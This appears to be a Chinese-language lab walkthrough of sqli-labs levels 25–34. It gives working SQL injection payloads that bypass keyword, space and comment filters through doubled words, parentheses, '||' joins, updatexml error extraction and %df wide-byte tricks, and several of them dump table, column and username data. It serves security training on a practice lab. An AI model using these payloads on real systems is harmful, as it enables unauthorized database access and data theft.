如有错误,欢迎各位师傅指正,感谢~❀❀
25,25a————所有“and”“or”都会被过滤掉,但只过滤一次;并且大写无法绕过,所以用双写绕过的方法
(25是' -- r;25a是数字注入)
?id=1' aandnd 1=2 -- r //验证注入点
?id=-1' union select 1,2,3 -- r
...方法即基础注入方式
需要注意:注入是单词含有“and”“or”的地方都要双写,否则被系统滤过就会报错。
26,26a————所有空格和注释都会被过滤
空格的其他符号都会被过滤掉,用基本注入时使用括号(不知道是我的命令错误还是本身就不适合使用基本注入的方式)
但26a不显示报错信息,所以不能使用报错注入(使用盲注吧)
语句连接:使用双写and和or或者使用连接符号
连接符号————“ || ”
①
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))),1))||'1=1
②
?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))),1))anandd'1=1
//其余步骤略
27,27a————过滤掉空格、注释符和union,select
总结:空格绕过用括号方法结合连接符号或and连接语句:
字段绕过尝试大小写或者双写(或多写几次,这取决于它会将命令过滤几次)
?id=1'and(updatexml(1,concat(0x7e,(selecseleselectctt(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))and'1=1
★有些时候判断注入点需要用(?id=1"and"1"="1)或者(?id=1"and"0)不能(?id=1"and"1=1)还有就是,要记得判断是数字型还是字符型
(27a不显示报错信息,使用盲注吧)
28————过滤空格和union select,无法显示报错信息,使用盲注
过滤(union select时,过滤的是(union select)而不是(union 和 select)使用“ uniunion selecton select ”绕过)
28a————只过滤union select
直接基础注入,只需要将union select双写
但在最后一步出现了问题
?id=-1') uniunion selecton select 1,2,3 and ('0
...
?id=-1') uniunion selecton select 1,2,group_concat(username) from users and ('0
//在这一步出现报错
在源码中查看时发现了问题,当语句执行时代码变为如下:
此时LIMIT 0,1生效,产生报错
解决方法:在本关并没有过滤一些注释符号,换一种方式表达,注释掉后面的LIMIT 0,1就可以了。
?id=-1') uniunion selecton select 1,2,group_concat(username) from users -- r
29,30,31————基础注入
不知道是不是我的靶场有问题,这三关就是最基本的注入,没有什么特殊的地方。
下面是29:
宽字节注入 :
在MYSQL为GBK编码时————使用 %df 绕过 addslashes() 函数或开启了魔术单引号
32,33————宽字节注入:“ %df ”绕过
值得注意的是在爆表时我们会使用'users'或"users",此时的单引号或双引号会被加上“ \ ”符号
解决方法:
1.直接将'users'转成十六进制编码:(ASCII编码十六进制为“7573657273”在前面加上0x)
?id=-1%df%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273%20--%20r
2.子查询
?id=-1%df%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%203,1)%20--%20r
34————宽字节注入
(我不明白,我找注入点的时候一直报错,但这个地方可以注入)